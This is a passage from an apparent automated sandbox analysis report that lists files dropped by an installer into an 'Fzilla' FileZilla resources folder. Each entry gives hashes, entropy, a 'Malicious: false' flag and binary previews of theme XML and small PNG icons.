SHA-256:	0AF2E5DB00AAE887A3854B5575502B27B6EF16B6693DB2EA427FA69D15D49837
SHA-512:	135A88093F6908F4B97DEAE5C6B86682A9FB1270FB754202EDA71EFD9A84D8A3FF59A0D752620FFDF2DD59B4D8643E05387F4559791F53219B9DEC2C6F4A1768
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.xdY....m..V:..V....N;..qz6..k....?...w......}..{.T...M......R.<T&...P(.....}.J.:.o.^.....r.(%%.....{zz.W.=~.g_d;33.:::(!!....(66V..z...........m0..@HH.....N.BV..y..M;..b....$.H.....{.-.......'.z.'j.Z&...C D.......{.e...5.x...6.....7.t.I.~qFF...}.2e........y...w./.RXXHyyy...M&..t:.y.....n..H..u...TPP..b....w.w.u.M....K1}.t.......o..3g..7..krrr>bw.i....A.6..={6...r...Puu5UVV2...n.........{bM]]...>...z.i.III...A.N.J.4c...:u.q..t.7..^.....P.+b-..%..........&."##..s.&....b...G.R@@.......p.KMM}..i4\.n..H\|-..hT...u...d..~.w.BLP..k.Z.xV.V?;.v./. $..?...O?...4.c......(::..k.=....k.3.~0......I..G.B:qqq..}(...#.x......h4.u.)...q'......J. I-R...#.&)..tq.m6........a..c........E3$..}2.u.....<.+..V....9.{.. .s..&..9.j.REE..$..F.,....\.4o.\c..[.....).6oH.w.)4./.t.6...S;N.l.:..<..g.bbb.Fsb..Er..q.y..^.P.j...v...O.._...({a.%.5.S.V..4.] .Tc/T.YnP...N6.'...OAO.!~...LS;...9...6.........~.S.~......*l.@.v.......(../

C:\Program Files (x86)\Fzilla\resources\blukis\is-RP908.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.023820490711871
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgK00caQmnFuNKLOHUTUZBOHWXdQUGOH1QIKe:TMHdtAgZmFuwOHKABOHW+LOH1QIh
MD5:	87F80751EC8504AF3D9C5B31F6F6A836
SHA1:	E27E76F4CC00A08F77560356886CEA3E00263D12
SHA-256:	AFB7D60E759AB43AE973EF1CEB8409E4F3DB135B9979D30CE9D2462F670AA250
SHA-512:	29B5DF6E1E3863DFE7390AD2BAC0FD85C0AF741EF0DA79FFB58E9F0AF8F686DB0C6F9825ED02FB2C22F2A4CB99AE32CE66E1BD7187C250CD3E8BAB123D556751
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Blukis</Name><Author>Brian Lukis</Author><size primary="1">16x16</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\blukis\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.023820490711871
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgK00caQmnFuNKLOHUTUZBOHWXdQUGOH1QIKe:TMHdtAgZmFuwOHKABOHW+LOH1QIh
MD5:	87F80751EC8504AF3D9C5B31F6F6A836
SHA1:	E27E76F4CC00A08F77560356886CEA3E00263D12
SHA-256:	AFB7D60E759AB43AE973EF1CEB8409E4F3DB135B9979D30CE9D2462F670AA250
SHA-512:	29B5DF6E1E3863DFE7390AD2BAC0FD85C0AF741EF0DA79FFB58E9F0AF8F686DB0C6F9825ED02FB2C22F2A4CB99AE32CE66E1BD7187C250CD3E8BAB123D556751
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Blukis</Name><Author>Brian Lukis</Author><size primary="1">16x16</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.210821933737175
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoTHKu2u5/wblEBqlJZIF9nJtFZSZWFSzAG1XIqaQ4OY6Ft9l9k9p:6v/7uNpiHKC5/MEBqa3/qoSMwXPa2ndc
MD5:	97407AE8A1175FCB69A574DF8FE77F04
SHA1:	C83224DB654DF03542BC9058E3D961919185F42B
SHA-256:	3F4E4CA112F41B673FE236A8792E3056899AF6A503ABEC488DEAB2128595892B
SHA-512:	9B84B6B93C58BAA113A8BE2CED7234A33A22965C668D1C80B7D2FA688D8076760B30F112B32B77BAE08780F2FEF9A8CE4C873D460E6088305792B7ED5038DCF0
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......H.....+IDATx.c.o=I.2.}3.b"..>~....'.z......z\|...4...JZ../ey.P......<......S...@...a.......!d..[.......5.;\|$844)%....O.O.W....I...vv.^......Fs.....%+V.5.tt*)+.5 <......%..@uw.=...v...........:q...r..n.6k.P..C..z.v.<..LY....?q.o.,....>u..m.^m...?....O].v..E..[..K..K.v.$[t'.=u.....+@....$-..h ....=....S....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.333155116632501
Encrypted:	false
SSDEEP:	12:6v/7uNpygCXejKu2EYk3FpgeBiZzrMvMUj7:nTMOjYk3FpVQBj4
MD5:	D998D4123DD00B840C51370798733B2C
SHA1:	394CB5BF8F47B5CEAF63D7CD24A1EE59E6EB35E1
SHA-256:	10525319023C17576553C8E8BBF9DDE041202F7F3CFC9EA53FB8DBB5990F14DB
SHA-512:	E23FB7FAFE22AB42220BCD5BE0BFE9576653118DC81C19230A2133E015AA9A3BFF98C69D76ECE1F29D20F4B4E691B473D600BB87890EAA22A65756862CFEEAF1
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS.......}....mIDATx......Q..7....p.m...m.X.m#.........By...q...*.L.%..X.q..&.....3.}............u5.n.lS.'?.N./.q...UY.q.{...SW<......c5k..qk.....!.<\|.n.\.yw..L6.L...8...:.f..6 ....+.N.................sx.A..N.4i.-..!....l...r.......q.).....~...C...b...u.../v...../.....'..'Z.=..?..]...h.;.d..`..!...>.v.....c..O_.Vhu46......= ..hw./.,6.H.u6..<.W.b..4..^7..i 4.?.....(......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	369
Entropy (8bit):	7.181429941801986
Encrypted:	false
SSDEEP:	6:6v/lhPmNpohWtEFBvxcR2q+2FHyJWDnmXfEFGvQP9ha1e7dImo16NRTp:6v/7uNppSvxcR2F2F6LXs4U9J7dsER9
MD5:	ACD5B09B303ABB67E1333FCFEE30D30F
SHA1:	E38FDFFEBD6C03A166B6CC0FA7F6703CBB8FCB2E
SHA-256:	4DE4E8E49009B462494AB9065AFA606A5BFEED945B6B0B4F35A4F4C92FC52F04
SHA-512:	CAB58C9A7CA505F80D2D5FD94BBBF8B214589FBAC7228C7F45696FB0972E69DE68EAD60B318695F16190E32A859470CE796DE73C9A9C29BE33CA5BA954EE7EEB
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7...&IDATx.c.o=I.2.}3.b"..>~....'.z......z\|...4...JY., uy Pn...)k.n{.{.....v^}...Z..........'......I...>*..l.7S.....l...@A.^=.>-..e..t'..x.....s../.O..u=...5./.....F>@.k.J4.3@..54.].;%..f.....:}e.s.N.\|/..'O...7..).....'..................\;\|."P.W..0.A.l.t..%..cg/..B.P..... ....H...........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	268
Entropy (8bit):	6.866829815207507
Encrypted:	false
SSDEEP:	6:6v/lhPSj7SFLdjYnHyRxFJwhsYLSdSyypSKIr++/bp:6v/7qodjWQQGRKt+9
MD5:	481C496B10838B0985C58162733C0F15
SHA1:	1DE798D52F600431BE816FE434D63BD1B3509BDC
SHA-256:	5A9C5658CC4B82DCDB423D580054103C6AC7A40A93ACE1D141DA70C00E51EBD1
SHA-512:	02C1085A775028BAD027AAF8408C9AE1364CA794CC5AC54821A2DDD0A8DD70C489DD4CDA669D81AD16C489AE15F177A0DB9BA2460A06FA5721881EACD76338DA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....a.0.EO.....`.......g..?C-..z.$:n......g..-..>.n...Z&'..k...L..._Y?<3.6.b..W......3.k.\"A......O......`...I..w.`u.g......=aC.0.W.]N..Klt~x...7..Y.........H..f=....e......`............=.RR.`.[.as...?.^..Q.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	133
Entropy (8bit):	5.808495669463587
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lCyxdEl1J1pxs7CEdoFcJ0rzv5F/LpHl2up:6v/lhP34r1pxH7cKrzPLpHlVp
MD5:	BEAC4629ABB60901283963C2904F8CFA
SHA1:	DFAE3D023AB995784B45C2D4FFA0D9C50A1A8FDE
SHA-256:	188A49C693FBF3495B5DF7580E0E4F7856CACB3D6A0D57251125AA883D894D54
SHA-512:	8C8CA2F316ED17544E4FA20BC5F0A46347CF7D3087FF669091D5C2E896E82C390E93D8A24006527455B3A019A51696BA9DF700240CD182B696D0F515E66E352B
Malicious:	false
Preview:	.PNG........IHDR................a...LIDATx...A.........3.K.@.."$}....a1..v..$.K...... .......A....P....(&........t...K....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	98
Entropy (8bit):	5.405492207535168
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lthe23Y2ueuCNVd8U2up:6v/lhPdheBsvd9Vp
MD5:	DFBB80F1017873587B8E08802610A3BE
SHA1:	29FA21434C2837D2AF761977F3FC0ADC809422F8
SHA-256:	DE2D0FFB20682B52542772580E766A112825E308E21F806996F1936C2A9B3D15
SHA-512:	2BA914E35A83FAA32064E2A22449D7FD8C5C68130E17BDA9979F9E46E07D434FBC42F51107509594311442A3135D3B35D368B2014C18C9F41457D195E5FEE705
Malicious:	false
Preview:	.PNG........IHDR................a...)IDATx.c.............@.a..0.....l.J.......tY.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	221
Entropy (8bit):	6.6935339507152385
Encrypted:	false
SSDEEP:	6:6v/lhP6TgKJ2NcD6bx7wGx4wZvZnueg6up:6v/71KAOebx7wGjvtuegB
MD5:	C085C91B1497549AC3031B9403274E70
SHA1:	AE6BBAF8E7F9B367B17E527521F0052B9FF956DF
SHA-256:	C26F93A095D5474D349E6EA60F474AE71457C34944B7538567F7886DFEB05510
SHA-512:	F7D29F79F092F081395173DF9644F415EFD9CAAFEB898113845CA460E7585CBA417F67ED835B30A9ADD184E999E601DC11C4D2D4EC630A8362FDCA027DFC9B44
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.....Ba..=.G{73.$.A%..o~.cX.T..$...y.A`.y...zH..7..........l..p8...........9.D...Z.nK.u%..0.p..........@Nx!...t_.....[.Mr.......L ....4...?E%y..,.Gn..C/.m.,...V....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	123
Entropy (8bit):	5.6207970256458015
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAkxHl/wc2J+cdLMS2YddlWlDZJ5lp1p:6v/lhPQk1lcdIS2wdlYL5lbp
MD5:	1F9145F1B12133F3AC3D5F66DAFC0F15
SHA1:	F7D659948ACC84379A7C7E20D2B8D559F23C76C9
SHA-256:	595C06A53B6C8174B2E2D8F6ECE83418A3C6D92F96A833D5F50C4A32C0A93BA1
SHA-512:	AA8693F77471F59E2E89AEB7A691678AF80C0E1AC52B7AF0946D1D0A914E6B4E4E1E2432091B7813A7EB3E504019CD06C599214E69061B12334E40CFE13978F9
Malicious:	false
Preview:	.PNG........IHDR................a...BIDATx.c...q....4.0.6_......l...Lcb..N8..k.Q..g.!/8...N81!.7.>`....:T.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.833808023352445
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lalOV9Yf3pqllQ0pn1BdbDXvG0NQVFfEpflyoDCl/ljp:6v/lhPql33UllHtDXvG0Ngepso6dp
MD5:	806DC11465F984DF1BB17F449B626AFE
SHA1:	AC7910B3708342E10AECA283176C10B2AD04D077
SHA-256:	6408D2F47E8D61039FB16701C38DCC604D3F9819FB54EE8D8B24A4F5A5A9F59F
SHA-512:	542E5B95381FF2D6A5DAD47BA609B99C15307990CF88A9367411CF7936CD906FA0105DE3CA86BE433CE9CEDBC7258E7FCB81DDD13720A76D2AA471BCCB80D0F1
Malicious:	false
Preview:	.PNG........IHDR................a...[IDATx.c...+p.......dh...0..l/.1!....?.a.....b..\|.d.nLP..20....8.0....F1..!...Dl :.....z..5.~.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	254
Entropy (8bit):	6.310654944693122
Encrypted:	false
SSDEEP:	6:6v/lhPfWfaQeykz6573LhzqhfwI0gnQIwjQGnC6iup:6v/74aQ59HhzqhYJg5GnC1c
MD5:	BDB31C0053525F014B142A7FE375E15B
SHA1:	E10CCC8AB48758426EF97536D272A6190EB49B22
SHA-256:	D6348FA61CDD5CA0118609D8690F3451AF8B2BD80012E02CED2307FD74A273D1
SHA-512:	716962290731DA9653A390D6F1691121708DD33658BE978DA6889257413959DE753BC74A39F5EC3369C7D076DB7F443D87D62497EDEF911F6CD4FCDAC7029FA4
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...EPLTE......RRR...kkk...)))BBB111{{{...!!!JJJ...ZZZ......ccc999............vG....tRNS.@..f...gIDATx.u...0...8e...g..?.D$.-.%p.B<@9w..;.................!..{.Oxt....t.y.QI...%h.....X8m..Iy..J..KDG\|..tX.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	130
Entropy (8bit):	5.736141183559885
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNyxdkOFP5AcIJLu/CcRmkkaFWCDCYUh/1p:6v/lhP9+kS5ApuKQm1OWKRIp
MD5:	D2532067959BB2DB3A6EDC469AF4F114
SHA1:	EE5F8CFA30B8FD1AC0ED57AF136D2FDE00DBB70F
SHA-256:	A6E11C733726B32BFA967242C04B916BB4D4B31F1B3D348D8EF67C5A64BE183C
SHA-512:	33A72EFAC30CB8D879CEDB105651D1826452396B47827C12A0DB8DAA97CE12CD71533EF2C438ED28C80063F2666FEFF01AC3380C761F98CB4E495B2C39CDC759
Malicious:	false
Preview:	.PNG........IHDR................a...IIDATx...... .......X..,...@;.P.. .l% .._ ?..'By..4 .O......(% ... ?..Dg..g..I..+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.535273923212619
Encrypted:	false
SSDEEP:	12:6v/7p+fyUFNbPBHrI0Lk+iemqvvGkT2KKiaqO4MvenaEo02U3Q1vpxPk:OMLBLI0oz63+KPaqSeFz2JtpBk
MD5:	67011F382FD217C10690AE63599E3D34
SHA1:	EF4F9182075DEEBAD12038EA5AA16EF8FECE15F8
SHA-256:	878DC6515328A10C7C0B7522ACFF32FF62B065646E7A3DC916DF6F96134A3FF4
SHA-512:	5ABB89BEFD99A66E56DAF68C272F8BE491F6CF65114EF010BB5C76B845E546659964B2CD3A184EB94FB0DC7B9AEA932CE2A6AFBA52501DC7889C75FAEE83675B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.:.......O.......7...Puss.LII....3..YAA........I.&},//................rrr\|X5...qfgg..0a..Uj..+...m.m.m..m'].:.3ml.8...(............9..@OO....@D..../Acc...~...3Pzz:\]]....}...@~~>...0<<.i..L..I.sNN.(^.......:::'..M'''... !!.....]!..'..h...@ff&...9 ...!...E".)........(......I@.3.8f/44......-m..[+.. .J.9,--EJJ.LLL...E........+++hjjBWW.....JlmmW..b.Fmm-sJ..1tRR..%.EVv6J......emm.....6...... v.........&5Js..5.9.......kg...........R=].'......d..D?OP.9....w.#t.$..O.l.0....5.....T.NN..E[.s..P..E.....[...../..o.../.o.0.h._.O.G.-'3..e..X,..z..m...^.H$.v6.w...1U...h_....)iZ?.('..^.Oz.c1.P...?XXX\...j.P(.".Qj.....}._.....Y.z.P.-i....8N.A#.?.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	214
Entropy (8bit):	6.440581480903966
Encrypted:	false
SSDEEP:	6:6v/lhPf89J6HdYLMH8dy8aVcFthXsaVJL6UJ6Rfp:6v/7qsaOMyaFthcaTL6Vx
MD5:	CD9F4139C278266D430ACA09E4BD0785
SHA1:	22A8C0A2012A16A03ABB5C783C0C95832D0954C2
SHA-256:	365DAAF42471778B2A53A70EB9A535D9E0D586A1CDAC7694984BFBA4F27079A6
SHA-512:	B6CBDDB54265721E41FFB766B2B65838554594E36937E8069323E401A7B0C19E90C272EC83424DF00FB1519CDE835E2E41FE6A73D5308E180B1A460850B3E0CB
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...6PLTE...HA...:. ..'..@.....-..>..C....6..1kkk..8..4.s...:..8.....tRNS.@..f...NIDATx......P...#..,1.....\|P...J............@.2......`o3..\/L..rw(XN....\.?l...`%.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.3061945055190805
Encrypted:	false
SSDEEP:	6:6v/lhPf89JjKKqDA7EzghvMVGJsrDY1NaprD2p:6v/7qjyUcghd1IprDU
MD5:	3E39A240C29CCE9B942AA4741BDA3848
SHA1:	796E0E0B657165816EE2724CF59A5ECD4DB5E63C
SHA-256:	92CAEF64BA5E710A398E7A929988512396955C9D6C141D887CA655C696620EEB
SHA-512:	D0EF391248FF262C801141990A922DACAB071DC530126EF2AD5F99730F0C0AA973F32E45FEB8DE8862E8B7C4DA5BDDA1D4D287F0BF5C08925C6167AB50C8826F
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...6PLTE...HA...C..A..=.....*..9..6..2.....&.".............ka.....tRNS.@..f...?IDATx.L...@..1_.....i..l.p..p.@.[P....U}.......f?..0....ad.....e(;......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-1G31N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.333155116632501
Encrypted:	false
SSDEEP:	12:6v/7uNpygCXejKu2EYk3FpgeBiZzrMvMUj7:nTMOjYk3FpVQBj4
MD5:	D998D4123DD00B840C51370798733B2C
SHA1:	394CB5BF8F47B5CEAF63D7CD24A1EE59E6EB35E1
SHA-256:	10525319023C17576553C8E8BBF9DDE041202F7F3CFC9EA53FB8DBB5990F14DB
SHA-512:	E23FB7FAFE22AB42220BCD5BE0BFE9576653118DC81C19230A2133E015AA9A3BFF98C69D76ECE1F29D20F4B4E691B473D600BB87890EAA22A65756862CFEEAF1
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS.......}....mIDATx......Q..7....p.m...m.X.m#.........By...q...*.L.%..X.q..&.....3.}............u5.n.lS.'?.N./.q...UY.q.{...SW<......c5k..qk.....!.<\|.n.\.yw..L6.L...8...:.f..6 ....+.N.................sx.A..N.4i.-..!....l...r.......q.).....~...C...b...u.../v...../.....'..'Z.=..?..]...h.;.d..`..!...>.v.....c..O_.Vhu46......= ..hw./.,6.H.u6..<.W.b..4..^7..i 4.?.....(......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-45KI1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.535273923212619
Encrypted:	false
SSDEEP:	12:6v/7p+fyUFNbPBHrI0Lk+iemqvvGkT2KKiaqO4MvenaEo02U3Q1vpxPk:OMLBLI0oz63+KPaqSeFz2JtpBk
MD5:	67011F382FD217C10690AE63599E3D34
SHA1:	EF4F9182075DEEBAD12038EA5AA16EF8FECE15F8
SHA-256:	878DC6515328A10C7C0B7522ACFF32FF62B065646E7A3DC916DF6F96134A3FF4
SHA-512:	5ABB89BEFD99A66E56DAF68C272F8BE491F6CF65114EF010BB5C76B845E546659964B2CD3A184EB94FB0DC7B9AEA932CE2A6AFBA52501DC7889C75FAEE83675B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.:.......O.......7...Puss.LII....3..YAA........I.&},//................rrr\|X5...qfgg..0a..Uj..+...m.m.m..m'].:.3ml.8...(............9..@OO....@D..../Acc...~...3Pzz:\]]....}...@~~>...0<<.i..L..I.sNN.(^.......:::'..M'''... !!.....]!..'..h...@ff&...9 ...!...E".)........(......I@.3.8f/44......-m..[+.. .J.9,--EJJ.LLL...E........+++hjjBWW.....JlmmW..b.Fmm-sJ..1tRR..%.EVv6J......emm.....6...... v.........&5Js..5.9.......kg...........R=].'......d..D?OP.9....w.#t.$..O.l.0....5.....T.NN..E[.s..P..E.....[...../..o.../.o.0.h._.O.G.-'3..e..X,..z..m...^.H$.v6.w...1U...h_....)iZ?.('..^.Oz.c1.P...?XXX\...j.P(.".Qj.....}._.....Y.z.P.-i....8N.A#.?.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-51FN0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	128
Entropy (8bit):	5.880014989397518
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlqs+kqjPtOi9ZFdnR84l3TPfDEijgGxll/sup:6v/lhPmNpq9kqxOA64tTPrEagGjeup
MD5:	C41627853F97292EED3C268271BFBC03
SHA1:	80B89B4FB53A806AE42C2ABE2B63A1B5B1731C3F
SHA-256:	90BCA1916A70407BE7FB28666AC1F28CBD9113EA1E2F8A5E471AD116CE741CDA
SHA-512:	56F67F991B929EAE1D7839FB864AFA8C4702E10CD1F31C9AF04E920FE14842DEC89FAEA60E91C6E080DB7367DE9D9BC2902779DBDB848F681A282331D1B7716D
Malicious:	false
Preview:	.PNG........IHDR...............h6...GIDATx......0.B....6.h1'..c..2.. ....u......3.IX({.....Ij.$Y.&...'..@1\....8....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-6SRV6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	254
Entropy (8bit):	6.310654944693122
Encrypted:	false
SSDEEP:	6:6v/lhPfWfaQeykz6573LhzqhfwI0gnQIwjQGnC6iup:6v/74aQ59HhzqhYJg5GnC1c
MD5:	BDB31C0053525F014B142A7FE375E15B
SHA1:	E10CCC8AB48758426EF97536D272A6190EB49B22
SHA-256:	D6348FA61CDD5CA0118609D8690F3451AF8B2BD80012E02CED2307FD74A273D1
SHA-512:	716962290731DA9653A390D6F1691121708DD33658BE978DA6889257413959DE753BC74A39F5EC3369C7D076DB7F443D87D62497EDEF911F6CD4FCDAC7029FA4
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...EPLTE......RRR...kkk...)))BBB111{{{...!!!JJJ...ZZZ......ccc999............vG....tRNS.@..f...gIDATx.u...0...8e...g..?.D$.-.%p.B<@9w..;.................!..{.Oxt....t.y.QI...%h.....X8m..Iy..J..KDG\|..tX.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-7VHEV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 1-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	117
Entropy (8bit):	5.372664012913981
Encrypted:	false
SSDEEP:	3:yionv//thPl9vk/mnplJYBxfqViEMmE6N+oiHar+YUdmLljp:6v/lhPcupEBxChnEk+oyG+YEkjp
MD5:	A64022375CC978969CB46B4F775F86B4
SHA1:	1F6EE2E92AA52A9CC030BB46FCA7C267EF3B719E
SHA-256:	59EFD19F7C4A4332BCED0F51EB997D283589BA57CFB3DCF7E4678C02E254E0C0
SHA-512:	CB71011448E20A6A3F741544E6CECCF2AAC7FDC6D29C39A19562F25F81C817009B5E42C9F714A2461D0C555E83F6024DCB46EDE17369945E9D298BA9EDB48A7B
Malicious:	false
Preview:	.PNG........IHDR.............7.......tRNS..........IDATx.c.!......3........?".B.6E... ....?.........8..=....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-8J2F1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.32971954773972
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtLshxfZlR8w4bYBaXw15xp6Xsup:6v/lhPO6RshxBLz40BnxIXsup
MD5:	E872DF7FA5DD21588A72F76200C20816
SHA1:	819D98721298F91B4DE5DA0A836C4BA69272D896
SHA-256:	8A3B48F221FD4D5CD4376968B4B28BBBCFF254A4EB3632F656DEF088E2BDE023
SHA-512:	51BCC676DB0C89FF8D2C29FDC439C328117BD5AD24F3DCFF4DC88F56D67B930029FA2412E9DE5B77940C0AFEE3FA71C3CFBF4CBDBFCF389FCB5CC7D67EAD0CEA
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c.A@.?......4..%0...%..0...2L.t.._......b.p..t....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-8L28Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	369
Entropy (8bit):	7.181429941801986
Encrypted:	false
SSDEEP:	6:6v/lhPmNpohWtEFBvxcR2q+2FHyJWDnmXfEFGvQP9ha1e7dImo16NRTp:6v/7uNppSvxcR2F2F6LXs4U9J7dsER9
MD5:	ACD5B09B303ABB67E1333FCFEE30D30F
SHA1:	E38FDFFEBD6C03A166B6CC0FA7F6703CBB8FCB2E
SHA-256:	4DE4E8E49009B462494AB9065AFA606A5BFEED945B6B0B4F35A4F4C92FC52F04
SHA-512:	CAB58C9A7CA505F80D2D5FD94BBBF8B214589FBAC7228C7F45696FB0972E69DE68EAD60B318695F16190E32A859470CE796DE73C9A9C29BE33CA5BA954EE7EEB
Malicious:	false
